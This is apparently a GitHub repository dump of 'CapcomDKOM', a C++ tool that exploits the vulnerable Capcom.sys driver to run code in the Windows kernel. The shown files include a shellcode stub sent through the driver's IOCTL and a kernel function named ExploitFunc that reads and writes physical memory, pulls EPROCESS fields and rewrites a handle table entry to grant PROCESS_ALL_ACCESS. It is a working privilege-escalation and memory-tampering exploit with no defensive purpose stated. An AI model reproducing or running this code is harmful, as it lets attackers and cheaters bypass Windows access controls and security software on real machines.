├── README.md ├── CapcomDKOM ├── Driver │ └── Capcom.sys ├── .vs │ └── CapcomPhysical │ │ └── v14 │ │ └── .suo ├── main.cpp ├── KernelFuncs.h ├── Capcom.h ├── Global.h ├── Capcom.cpp ├── CapcomPhysical.vcxproj.filters ├── Proc.h ├── KernelFuncs.cpp ├── CapcomPhysical.vcxproj └── Proc.cpp ├── .gitattributes └── .gitignore /README.md: -------------------------------------------------------------------------------- 1 | # CapcomDKOM 2 | 3 | -------------------------------------------------------------------------------- /CapcomDKOM/Driver/Capcom.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SamLarenN/CapcomDKOM/HEAD/CapcomDKOM/Driver/Capcom.sys -------------------------------------------------------------------------------- /CapcomDKOM/.vs/CapcomPhysical/v14/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SamLarenN/CapcomDKOM/HEAD/CapcomDKOM/.vs/CapcomPhysical/v14/.suo -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /CapcomDKOM/main.cpp: -------------------------------------------------------------------------------- 1 | #include "Global.h" 2 | 3 | int michi = 1234; 4 | int jafar = 0; 5 | 6 | int main() 7 | { 8 | if (g_pMem->OnSetup("CapcomPhysical.exe")) // Attach to process 9 | { 10 | std::cout << g_pMem->Read(&michi) << '\n'; 11 | HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, g_pMem->GetProcessIdByName("CapcomPhysical.exe")); 12 | g_pMem->ChangeHandleAccess(h, PROCESS_ALL_ACCESS); 13 | 14 | ReadProcessMemory(h, &michi, &jafar, sizeof(int), 0); 15 | std::cout << jafar << '\n'; 16 | 17 | g_pMem->Detach(); 18 | } 19 | std::cin.get(); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # Windows shortcuts 18 | *.lnk 19 | 20 | # ========================= 21 | # Operating System Files 22 | # ========================= 23 | 24 | # OSX 25 | # ========================= 26 | 27 | .DS_Store 28 | .AppleDouble 29 | .LSOverride 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear in the root of a volume 35 | .DocumentRevisions-V100 36 | .fseventsd 37 | .Spotlight-V100 38 | .TemporaryItems 39 | .Trashes 40 | .VolumeIcon.icns 41 | 42 | # Directories potentially created on remote AFP share 43 | .AppleDB 44 | .AppleDesktop 45 | Network Trash Folder 46 | Temporary Items 47 | .apdisk 48 | -------------------------------------------------------------------------------- /CapcomDKOM/KernelFuncs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _DllRet DllRet; 4 | typedef struct _REQUEST REQUEST; 5 | typedef enum _MEMORY_CACHING_TYPE MEMORY_CACHING_TYPE; 6 | 7 | typedef struct _EPROCESS *PEPROCESS; 8 | 9 | void __stdcall ExploitFunc(fnMmGetSystemRoutineAddress MmGetSystemRoutineAddress, PVOID CustomData); 10 | 11 | class KernelFuncs 12 | { 13 | public: 14 | 15 | 16 | public: 17 | NTSTATUS(NTAPI* PsLookupProcessByProcessId)(HANDLE, PEPROCESS*); 18 | VOID(NTAPI* ObDereferenceObject)(PVOID); 19 | ULONG(NTAPI* DbgPrintEx)(ULONG, ULONG, PCSTR, ...); 20 | PVOID(NTAPI* MmMapIoSpace)(LARGE_INTEGER, SIZE_T, MEMORY_CACHING_TYPE); 21 | VOID(NTAPI* MmUnmapIoSpace)(PVOID, SIZE_T); 22 | 23 | void GetSystemRoutines(fnMmGetSystemRoutineAddress MmGetSystemRoutineAddress); 24 | 25 | BOOLEAN m_InitializationFinished = FALSE; 26 | }; 27 | 28 | extern KernelFuncs* g_pKernelFuncs; -------------------------------------------------------------------------------- /CapcomDKOM/Capcom.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | #define IOCTL_X86 0xAA012044 5 | #define IOCTL_X64 0xAA013044 6 | #define PAYLOAD_BUFFER_SIZE 0x200 7 | 8 | using fnMmGetSystemRoutineAddress = PVOID(NTAPI*)(PUNICODE_STRING); 9 | using fnCapcomRunFunc = VOID(NTAPI*)(fnMmGetSystemRoutineAddress, PVOID); 10 | 11 | struct CapcomCodePayload 12 | { 13 | BYTE* PointerToPayload; // This points to the Payload member below 14 | BYTE Payload[PAYLOAD_BUFFER_SIZE]; // Payload that is going to be executed 15 | }; 16 | 17 | class CapcomIoctl 18 | { 19 | public: 20 | /// Arguments: 21 | /// - UserFunction: The function that will be executed 22 | /// - CustomData: Pointer to custom data that will be sent to the function 23 | void Build(fnCapcomRunFunc UserFunction, PVOID UserData); 24 | 25 | void Free(); 26 | 27 | /// Arguments: 28 | /// - CapcomDevice: Handle to the Capcom device 29 | void Run(HANDLE CapcomDevice); 30 | 31 | private: 32 | BYTE* PointerToPayload; //This must point to CapcomCodePayload::Payload 33 | }; 34 | 35 | extern CapcomIoctl* g_pCapcomIoctl; -------------------------------------------------------------------------------- /CapcomDKOM/Global.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "Capcom.h" 8 | #include "KernelFuncs.h" 9 | #include "Proc.h" 10 | 11 | #define IOCTL_READ 1 12 | #define IOCTL_DIRTABLE 2 13 | #define IOCTL_CR3 3 14 | #define IOCTL_PPEB 4 15 | #define IOCTL_HANDLE 5 16 | #define IOCTL_WRITE 6 17 | 18 | 19 | #pragma comment(lib, "ntdll.lib") 20 | 21 | typedef struct _HANDLE_TABLE_ENTRY 22 | { 23 | union 24 | { 25 | PVOID Object; 26 | ULONG ObAttributes; 27 | ULONG_PTR Value; 28 | }; 29 | union 30 | { 31 | ACCESS_MASK GrantedAccess; 32 | LONG NextFreeTableEntry; 33 | }; 34 | } HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY; 35 | 36 | typedef enum _MEMORY_CACHING_TYPE { 37 | MmNonCached = 0, 38 | MmCached = 1, 39 | MmWriteCombined = 2, 40 | MmHardwareCoherentCached = 3, 41 | MmNonCachedUnordered = 4, 42 | MmUSWCCached = 5, 43 | MmMaximumCacheType = 6 44 | } MEMORY_CACHING_TYPE; 45 | 46 | typedef struct _READWRITE_REQ 47 | { 48 | DWORD IOCTL; 49 | uint64_t Address; 50 | SIZE_T Length; 51 | uint64_t Buffer; 52 | bool Success; 53 | }READWRITE_REQ, *PREADWRITE_REQ; 54 | 55 | typedef struct _REQUEST 56 | { 57 | DWORD IOCTL; 58 | HANDLE ProcessId; 59 | uint64_t Ret; 60 | }REQUEST, *PREQUEST; 61 | 62 | typedef struct _HANDLE_REQ 63 | { 64 | DWORD IOCTL; 65 | HANDLE ProcessId; 66 | HANDLE Handle; 67 | ACCESS_MASK Access; 68 | bool Success; 69 | }HANDLE_REQ, *PHANDLE_REQ; -------------------------------------------------------------------------------- /CapcomDKOM/Capcom.cpp: -------------------------------------------------------------------------------- 1 | #include "Global.h" 2 | 3 | CapcomIoctl* g_pCapcomIoctl = new CapcomIoctl(); 4 | 5 | void CapcomIoctl::Build(fnCapcomRunFunc UserFunction, PVOID UserData) 6 | { 7 | CapcomCodePayload* CodePayload = (CapcomCodePayload*)VirtualAlloc(nullptr, sizeof(CapcomCodePayload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 8 | 9 | BYTE CodePayloadTemp[] = 10 | { 11 | 0xE8, 0x08, 0x00, 0x00, 0x00, // CALL $+8 ; Skip 8 bytes, this puts the UserFunction into RAX 12 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // UserFunction address will be here 13 | 0x48, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // MOV RDX, CustomData 14 | 0x58, // POP RAX 15 | 0xFF, 0x20 // JMP [RAX] 16 | }; 17 | 18 | *(ULONGLONG*)(CodePayloadTemp + 0x5) = (ULONGLONG)UserFunction; 19 | *(ULONGLONG*)(CodePayloadTemp + 0xF) = (ULONGLONG)UserData; 20 | 21 | CodePayload->PointerToPayload = CodePayload->Payload; 22 | this->PointerToPayload = CodePayload->Payload; 23 | 24 | ZeroMemory(CodePayload->Payload, PAYLOAD_BUFFER_SIZE); 25 | CopyMemory(CodePayload->Payload, CodePayloadTemp, sizeof(CodePayloadTemp)); 26 | 27 | } 28 | 29 | void CapcomIoctl::Free() 30 | { 31 | VirtualFree(PointerToPayload, 0, MEM_RELEASE); 32 | } 33 | 34 | void CapcomIoctl::Run(HANDLE CapcomDevice) 35 | { 36 | DWORD OutputBuffer; 37 | DWORD BytesReturned; 38 | 39 | DeviceIoControl(CapcomDevice, IOCTL_X64, &PointerToPayload, 8, &OutputBuffer, 4, &BytesReturned, nullptr); 40 | } -------------------------------------------------------------------------------- /CapcomDKOM/CapcomPhysical.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /CapcomDKOM/Proc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Module class base. 4 | class module 5 | { 6 | public: 7 | const uint64_t dwBase, dwSize; 8 | 9 | public: 10 | module(uint64_t base, uint64_t size) 11 | : dwBase(base), 12 | dwSize(size) 13 | { 14 | } 15 | 16 | }; 17 | 18 | 19 | class Proc 20 | { 21 | public: 22 | bool OnSetup(const char* ProcessName); 23 | void Detach(); 24 | uint32_t GetProcessIdByName(const char* ProcessName); 25 | module* GetModuleByName(const wchar_t* ModuleName); 26 | 27 | bool ChangeHandleAccess(HANDLE handle, ACCESS_MASK Access); 28 | 29 | bool ReadPhysicalAddress(uint64_t address, PVOID buffer, size_t length); 30 | template 31 | T ReadPhysicalAddress(U address) 32 | { 33 | T buffer{ 0 }; 34 | ReadPhysicalAddress(address, &buffer, sizeof(T)); 35 | return buffer; 36 | } 37 | 38 | bool Read(uint64_t address, PVOID buffer, size_t length); 39 | template 40 | T Read(U address) 41 | { 42 | T buffer{ 0 }; 43 | Read((uint64_t)address, &buffer, sizeof(T)); 44 | return buffer; 45 | } 46 | 47 | bool WritePhysicalAddress(uint64_t address, PVOID buffer, size_t length); 48 | template 49 | bool WritePhysicalAddress(U address, T val) 50 | { 51 | return WritePhysicalAddress(address, &val, sizeof(T)); 52 | } 53 | 54 | bool Write(uint64_t address, PVOID buffer, size_t length); 55 | template 56 | bool Write(U address, T val) 57 | { 58 | return Write((uint64_t)address, &val, sizeof(T)); 59 | } 60 | 61 | private: 62 | uint64_t GetDirectoryTableBase(); 63 | uint64_t Read_cr3(); 64 | uint64_t ReadPEBPointer(); 65 | 66 | uint64_t TranslateVirtualAddress(PVOID VirtualAddress); 67 | 68 | HANDLE hProc = INVALID_HANDLE_VALUE; 69 | BOOL IsProcess32bit; 70 | uint64_t DirectoryTableBase = 0; 71 | HANDLE hDeviceDriver = INVALID_HANDLE_VALUE; 72 | uint32_t ProcessId = -1; 73 | uint64_t pPEB = 0; 74 | }; 75 | 76 | extern Proc* g_pMem; 77 | -------------------------------------------------------------------------------- /CapcomDKOM/KernelFuncs.cpp: -------------------------------------------------------------------------------- 1 | #include "Global.h" 2 | 3 | KernelFuncs* g_pKernelFuncs = new KernelFuncs(); 4 | 5 | // Get system routines from ntoskrnl.exe 6 | PVOID GetSystemRoutine(fnMmGetSystemRoutineAddress MmGetSystemRoutineAddress, const wchar_t* RoutineName) 7 | { 8 | UNICODE_STRING usRoutine; 9 | RtlInitUnicodeString(&usRoutine, RoutineName); 10 | return MmGetSystemRoutineAddress(&usRoutine); 11 | } 12 | 13 | // Initialize used routines 14 | void KernelFuncs::GetSystemRoutines(fnMmGetSystemRoutineAddress MmGetSystemRoutineAddress) 15 | { 16 | PsLookupProcessByProcessId 17 | = (decltype(PsLookupProcessByProcessId))GetSystemRoutine(MmGetSystemRoutineAddress, L"PsLookupProcessByProcessId"); 18 | ObDereferenceObject 19 | = (decltype(ObDereferenceObject))GetSystemRoutine(MmGetSystemRoutineAddress, L"ObDereferenceObject"); 20 | DbgPrintEx 21 | = (decltype(DbgPrintEx))GetSystemRoutine(MmGetSystemRoutineAddress, L"DbgPrintEx"); 22 | MmMapIoSpace 23 | = (decltype(MmMapIoSpace))GetSystemRoutine(MmGetSystemRoutineAddress, L"MmMapIoSpace"); 24 | MmUnmapIoSpace 25 | = (decltype(MmUnmapIoSpace))GetSystemRoutine(MmGetSystemRoutineAddress, L"MmUnmapIoSpace"); 26 | 27 | m_InitializationFinished = TRUE; 28 | } 29 | 30 | // Function from ntoskrnl.exe which is not exported. 31 | // Retrieves the handle_table_entry of inputted handle. 32 | // Taken from IDA. 33 | PHANDLE_TABLE_ENTRY ExpLookupHandleTableEntry(PVOID pHandleTable, uint64_t Handle) 34 | { 35 | uint64_t v2; 36 | int64_t v3; 37 | uint64_t result; 38 | uint64_t v5; 39 | 40 | uint64_t a1 = (uint64_t)pHandleTable; 41 | 42 | v2 = Handle & 0xFFFFFFFFFFFFFFFCui64; 43 | if (v2 >= *(uint32_t*)a1) 44 | { 45 | result = 0i64; 46 | } 47 | else 48 | { 49 | v3 = *(uint64_t*)(a1 + 8); 50 | if (*(uint64_t*)(a1 + 8) & 3) 51 | { 52 | if ((*(uint32_t*)(a1 + 8) & 3) == 1) 53 | { 54 | v5 = *(uint64_t*)(v3 + 8 * (v2 >> 10) - 1); 55 | result = v5 + 4 * (v2 & 0x3FF); 56 | } 57 | else 58 | { 59 | v5 = *(uint64_t*)(*(uint64_t*)(v3 + 8 * (v2 >> 19) - 2) + 8 * ((v2 >> 10) & 0x1FF)); 60 | result = v5 + 4 * (v2 & 0x3FF); 61 | } 62 | } 63 | else 64 | { 65 | result = v3 + 4 * v2; 66 | } 67 | } 68 | return (PHANDLE_TABLE_ENTRY)result; 69 | } 70 | 71 | // Function called by Capcom driver. 72 | void __stdcall ExploitFunc(fnMmGetSystemRoutineAddress MmGetSystemRoutineAddress, PVOID CustomData) 73 | { 74 | NTSTATUS Status = 0; 75 | PEPROCESS Process = NULL; 76 | 77 | if (!g_pKernelFuncs->m_InitializationFinished) { 78 | g_pKernelFuncs->GetSystemRoutines(MmGetSystemRoutineAddress); 79 | } 80 | 81 | __try 82 | { 83 | if (*(DWORD*)CustomData == IOCTL_READ || *(DWORD*)CustomData == IOCTL_WRITE) // Read or Write physical memory 84 | { 85 | PREADWRITE_REQ Data = (PREADWRITE_REQ)CustomData; 86 | LARGE_INTEGER PhysAddress; 87 | PhysAddress.QuadPart = Data->Address; 88 | size_t v12 = Data->Length; 89 | uint64_t v13 = Data->Buffer; 90 | 91 | if (!v12 || !v13 || !PhysAddress.QuadPart) 92 | { 93 | Data->Success = false; 94 | return; 95 | } 96 | 97 | PVOID v17 = g_pKernelFuncs->MmMapIoSpace(PhysAddress, v12, MEMORY_CACHING_TYPE::MmNonCached); // Map the physical address to a virtual address 98 | if (!v17) 99 | { 100 | Data->Success = false; 101 | return; 102 | } 103 | 104 | uint32_t v18 = 0; 105 | while (v18 < v12) 106 | { 107 | if (*(DWORD*)CustomData == IOCTL_READ) 108 | *(BYTE*)(v18 + v13) = *((BYTE*)v17 + v18); // Copy bytes from 109 | else /*(*(DWORD*)CustomData == IOCTL_WRITE)*/ 110 | *((BYTE*)v17 + v18) = *(BYTE*)(v18 + v13); // Copy bytes to 111 | 112 | ++v18; 113 | } 114 | g_pKernelFuncs->MmUnmapIoSpace(v17, v12); // Unmap virtual address 115 | Data->Success = true; 116 | } 117 | if (*(DWORD*)CustomData == IOCTL_DIRTABLE) // Retrieve DirectoryTableBase for memory translation 118 | { 119 | PREQUEST Data = (PREQUEST)CustomData; 120 | Status = g_pKernelFuncs->PsLookupProcessByProcessId(Data->ProcessId, &Process); 121 | if (NT_SUCCESS(Status)) 122 | { 123 | Data->Ret = *(uint64_t*)((uint64_t)Process + 0x28); // Get DirectoryTableBase from EPROCESS struct 124 | } 125 | } 126 | if (*(DWORD*)CustomData == IOCTL_CR3) 127 | { 128 | PREQUEST Data = (PREQUEST)CustomData; 129 | Data->Ret = __readcr3(); // Read control register 3 130 | } 131 | if (*(DWORD*)CustomData == IOCTL_PPEB) 132 | { 133 | PREQUEST Data = (PREQUEST)CustomData; 134 | Status = g_pKernelFuncs->PsLookupProcessByProcessId(Data->ProcessId, &Process); 135 | if (NT_SUCCESS(Status)) 136 | { 137 | Data->Ret = *(uint64_t*)((uint64_t)Process + 0x3f8); // Get pointer to PEB from EPROCESS struct 138 | } 139 | } 140 | if (*(DWORD*)CustomData == IOCTL_HANDLE) // Change handle access mask 141 | { 142 | PHANDLE_REQ Data = (PHANDLE_REQ)CustomData; 143 | Status = g_pKernelFuncs->PsLookupProcessByProcessId(Data->ProcessId, &Process); 144 | if (!NT_SUCCESS(Status)) 145 | { 146 | if (Process != NULL) 147 | g_pKernelFuncs->ObDereferenceObject(Process); 148 | Data->Success = false; 149 | return; 150 | } 151 | 152 | uint64_t pObjectTable = *(uint64_t*)((uint64_t)Process + 0x418); // Get PHANDLE_TABLE from EPROCESS struct 153 | if (!pObjectTable) 154 | { 155 | if (Process != NULL) 156 | g_pKernelFuncs->ObDereferenceObject(Process); 157 | Data->Success = false; 158 | return; 159 | } 160 | 161 | PHANDLE_TABLE_ENTRY entry = ExpLookupHandleTableEntry((PVOID)pObjectTable, (uint64_t)Data->Handle); // Look up the HANDLE_ENTRY 162 | if (!entry) 163 | { 164 | if (Process != NULL) 165 | g_pKernelFuncs->ObDereferenceObject(Process); 166 | Data->Success = false; 167 | return; 168 | } 169 | entry->GrantedAccess = Data->Access; // Change its access mask 170 | Data->Success = true; 171 | } 172 | 173 | } 174 | __except (EXCEPTION_EXECUTE_HANDLER) 175 | { 176 | } 177 | 178 | if (Process != NULL) 179 | g_pKernelFuncs->ObDereferenceObject(Process); 180 | } 181 | -------------------------------------------------------------------------------- /CapcomDKOM/CapcomPhysical.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {3EDD48A8-B144-4953-BD42-4E1E588832A8} 23 | CapcomPhysical 24 | 8.1 25 | 26 | 27 | 28 | Application 29 | true 30 | v140 31 | MultiByte 32 | 33 | 34 | Application 35 | false 36 | v140 37 | true 38 | MultiByte 39 | 40 | 41 | Application 42 | true 43 | v140 44 | MultiByte 45 | 46 | 47 | Application 48 | false 49 | v140 50 | true 51 | MultiByte 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | Level3 75 | Disabled 76 | true 77 | 78 | 79 | 80 | 81 | Level3 82 | Disabled 83 | true 84 | 85 | 86 | 87 | 88 | Level3 89 | MaxSpeed 90 | true 91 | true 92 | true 93 | 94 | 95 | true 96 | true 97 | 98 | 99 | 100 | 101 | Level3 102 | MaxSpeed 103 | true 104 | true 105 | true 106 | 107 | 108 | true 109 | true 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | -------------------------------------------------------------------------------- /CapcomDKOM/Proc.cpp: -------------------------------------------------------------------------------- 1 | #include "Global.h" 2 | 3 | Proc* g_pMem = new Proc(); 4 | 5 | bool Proc::OnSetup(const char* ProcessName) 6 | { 7 | hDeviceDriver = CreateFile("\\\\.\\Htsysm72FB", FILE_ALL_ACCESS, FILE_SHARE_READ, nullptr, FILE_OPEN, FILE_ATTRIBUTE_NORMAL, nullptr); 8 | if (hDeviceDriver == INVALID_HANDLE_VALUE) 9 | goto exit; 10 | 11 | ProcessId = GetProcessIdByName(ProcessName); 12 | if (!ProcessId) 13 | goto exit; 14 | 15 | hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, ProcessId); // For querying the WOW64 information 16 | if (hProc == INVALID_HANDLE_VALUE) 17 | goto exit; 18 | 19 | if (!IsWow64Process(hProc, &IsProcess32bit)) // Check if the desired process is running in WOW64 environment 20 | goto exit; 21 | 22 | DirectoryTableBase = GetDirectoryTableBase(); 23 | if (!DirectoryTableBase) 24 | goto exit; 25 | 26 | pPEB = ReadPEBPointer(); 27 | if (!pPEB) 28 | goto exit; 29 | pPEB += IsProcess32bit ? 0x1000 : 0; // If the process is 32bit, then the PEB32 is 0x1000 from the PEB64. 30 | 31 | 32 | CloseHandle(hProc); // We only want this handle to query process info. Close it. 33 | return true; 34 | 35 | exit: 36 | Detach(); 37 | return false; 38 | } 39 | 40 | // Detach from process 41 | void Proc::Detach() 42 | { 43 | if (hDeviceDriver != INVALID_HANDLE_VALUE) 44 | CloseHandle(hDeviceDriver); 45 | if (hProc != INVALID_HANDLE_VALUE) 46 | CloseHandle(hProc); 47 | 48 | DirectoryTableBase = 0; 49 | pPEB = 0; 50 | } 51 | 52 | // Get module base and size from PEB. 53 | module* Proc::GetModuleByName(const wchar_t* ModuleName) 54 | { 55 | wchar_t* lel = new wchar_t[MAX_PATH]; 56 | if (IsProcess32bit) 57 | { 58 | DWORD pebldr = Read(pPEB + 0xC); // Read PEB_LDR_DATA* 59 | if (pebldr) 60 | { 61 | DWORD first = Read(pebldr + 0x14); // Read first entry, (flink) 62 | if (first) 63 | { 64 | DWORD end = first; 65 | do 66 | { 67 | ZeroMemory(lel, MAX_PATH); 68 | DWORD dllSize = Read(first + 0x18); 69 | DWORD dllBase = Read(first + 0x10); 70 | 71 | if (!dllBase) 72 | return 0; 73 | 74 | DWORD dllbuffer = Read(first + 0x28); 75 | WORD dlllen = Read(first + 0x24); 76 | 77 | Read(dllbuffer, (PVOID)lel, (size_t)dlllen); 78 | 79 | if (!wcscmp(lel, ModuleName)) 80 | { 81 | module* mod = new module(dllBase, dllSize); 82 | return mod; 83 | } 84 | 85 | first = Read(first); 86 | } while (first != end); // Walk the entirety of the modules until we are back to the start 87 | } 88 | } 89 | } 90 | else 91 | { 92 | PPEB peb = (PPEB)pPEB; 93 | 94 | PPEB_LDR_DATA pebldr = Read(&peb->Ldr); // Read PEB_LDR_DATA* 95 | 96 | PLDR_DATA_TABLE_ENTRY first = Read(&pebldr->InMemoryOrderModuleList); // Read first entry, (flink) 97 | PLDR_DATA_TABLE_ENTRY end = first; 98 | do 99 | { 100 | wchar_t* lel = new wchar_t[MAX_PATH]; 101 | ZeroMemory(lel, MAX_PATH); 102 | 103 | uint64_t dllSize = Read((UINT64)first + 0x30); 104 | uint64_t dllBase = Read((UINT64)first + 0x20); 105 | 106 | if (!dllBase) 107 | break; 108 | 109 | uint64_t dllbuffer = Read((UINT64)first + 0x48 + 8); 110 | WORD dlllen = Read((UINT64)first + 0x48); 111 | 112 | Read(dllbuffer, (PVOID)lel, (size_t)dlllen); 113 | 114 | 115 | first = Read(first); 116 | } while (first != end); 117 | } 118 | return 0; 119 | } 120 | 121 | // Get process ID using snapshot. 122 | uint32_t Proc::GetProcessIdByName(const char* ProcessName) 123 | { 124 | HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); 125 | PROCESSENTRY32 pEntry; 126 | pEntry.dwSize = sizeof(PROCESSENTRY32); 127 | if (Process32First(hSnap, &pEntry)) 128 | { 129 | do 130 | { 131 | if (!strcmp(pEntry.szExeFile, ProcessName)) 132 | { 133 | CloseHandle(hSnap); 134 | return pEntry.th32ProcessID; 135 | } 136 | } while (Process32Next(hSnap, &pEntry)); 137 | } 138 | CloseHandle(hSnap); 139 | return 0; 140 | } 141 | 142 | uint64_t Proc::ReadPEBPointer() 143 | { 144 | if (!ProcessId) 145 | return 0; 146 | 147 | REQUEST Data{ 0 }; 148 | Data.IOCTL = IOCTL_PPEB; 149 | Data.ProcessId = (HANDLE)ProcessId; 150 | 151 | g_pCapcomIoctl->Build(ExploitFunc, &Data); 152 | g_pCapcomIoctl->Run(hDeviceDriver); 153 | g_pCapcomIoctl->Free(); 154 | 155 | return Data.Ret; 156 | } 157 | 158 | uint64_t Proc::GetDirectoryTableBase() 159 | { 160 | if (!ProcessId) 161 | return 0; 162 | 163 | REQUEST Data{ 0 }; 164 | Data.IOCTL = IOCTL_DIRTABLE; 165 | Data.ProcessId = (HANDLE)ProcessId; 166 | 167 | g_pCapcomIoctl->Build(ExploitFunc, &Data); 168 | g_pCapcomIoctl->Run(hDeviceDriver); 169 | g_pCapcomIoctl->Free(); 170 | 171 | return Data.Ret; 172 | } 173 | 174 | uint64_t Proc::Read_cr3() 175 | { 176 | REQUEST Data{ 0 }; 177 | Data.IOCTL = IOCTL_CR3; 178 | 179 | g_pCapcomIoctl->Build(ExploitFunc, &Data); 180 | g_pCapcomIoctl->Run(hDeviceDriver); 181 | g_pCapcomIoctl->Free(); 182 | 183 | return Data.Ret; 184 | } 185 | 186 | // Thanks MarkHC for this function <3. 187 | // Too lazy to write my own xD 188 | uint64_t Proc::TranslateVirtualAddress(PVOID VirtualAddress) 189 | { 190 | if (!DirectoryTableBase) 191 | return 0; 192 | 193 | auto va = (std::uint64_t)VirtualAddress; 194 | 195 | auto PML4 = (USHORT)((va >> 39) & 0x1FF); 196 | auto DirectoryPtr = (USHORT)((va >> 30) & 0x1FF); 197 | auto Directory = (USHORT)((va >> 21) & 0x1FF); 198 | auto Table = (USHORT)((va >> 12) & 0x1FF); 199 | 200 | auto PML4E = ReadPhysicalAddress(DirectoryTableBase + PML4 * sizeof(ULONGLONG)); 201 | 202 | if (PML4E == 0) 203 | return 0; 204 | 205 | auto PDPTE = ReadPhysicalAddress((PML4E & 0xFFFFFFFFFF000) + DirectoryPtr * sizeof(ULONGLONG)); 206 | 207 | if (PDPTE == 0) 208 | return 0; 209 | 210 | if ((PDPTE & (1 << 7)) != 0) { 211 | return (PDPTE & 0xFFFFFC0000000) + (va & 0x3FFFFFFF); 212 | } 213 | 214 | auto PDE = ReadPhysicalAddress((PDPTE & 0xFFFFFFFFFF000) + Directory * sizeof(ULONGLONG)); 215 | 216 | if (PDE == 0) 217 | return 0; 218 | 219 | if ((PDE & (1 << 7)) != 0) { 220 | return (PDE & 0xFFFFFFFE00000) + (va & 0x1FFFFF); 221 | } 222 | 223 | auto PTE = ReadPhysicalAddress((PDE & 0xFFFFFFFFFF000) + Table * sizeof(ULONGLONG)); 224 | 225 | if (PTE == 0) 226 | return 0; 227 | 228 | return (PTE & 0xFFFFFFFFFF000) + (va & 0xFFF); 229 | } 230 | 231 | bool Proc::ReadPhysicalAddress(uint64_t address, PVOID buffer, size_t length) 232 | { 233 | if (!address || !buffer || !length) 234 | return false; 235 | 236 | READWRITE_REQ Data{ 0 }; 237 | 238 | Data.IOCTL = IOCTL_READ; 239 | Data.Address = address; 240 | Data.Length = length; 241 | Data.Buffer = (uint64_t)buffer; 242 | 243 | g_pCapcomIoctl->Build(ExploitFunc, &Data); 244 | g_pCapcomIoctl->Run(hDeviceDriver); 245 | g_pCapcomIoctl->Free(); 246 | 247 | return Data.Success; 248 | } 249 | 250 | bool Proc::Read(uint64_t address, PVOID buffer, size_t length) 251 | { 252 | uint64_t PhysicalAddress = TranslateVirtualAddress((PVOID)address); 253 | return ReadPhysicalAddress(PhysicalAddress, buffer, length); 254 | } 255 | 256 | bool Proc::ChangeHandleAccess(HANDLE handle, ACCESS_MASK Access) 257 | { 258 | HANDLE_REQ Req; 259 | Req.IOCTL = IOCTL_HANDLE; 260 | Req.Access = Access; 261 | Req.Handle = handle; 262 | Req.ProcessId = (HANDLE)ProcessId; 263 | 264 | g_pCapcomIoctl->Build(ExploitFunc, &Req); 265 | g_pCapcomIoctl->Run(g_pMem->hDeviceDriver); 266 | g_pCapcomIoctl->Free(); 267 | 268 | return Req.Success; 269 | } 270 | 271 | bool Proc::WritePhysicalAddress(uint64_t address, PVOID buffer, size_t length) 272 | { 273 | if (!address || !buffer || !length) 274 | return false; 275 | 276 | READWRITE_REQ Data{ 0 }; 277 | 278 | Data.IOCTL = IOCTL_WRITE; 279 | Data.Address = address; 280 | Data.Length = length; 281 | Data.Buffer = (uint64_t)buffer; 282 | 283 | g_pCapcomIoctl->Build(ExploitFunc, &Data); 284 | g_pCapcomIoctl->Run(hDeviceDriver); 285 | 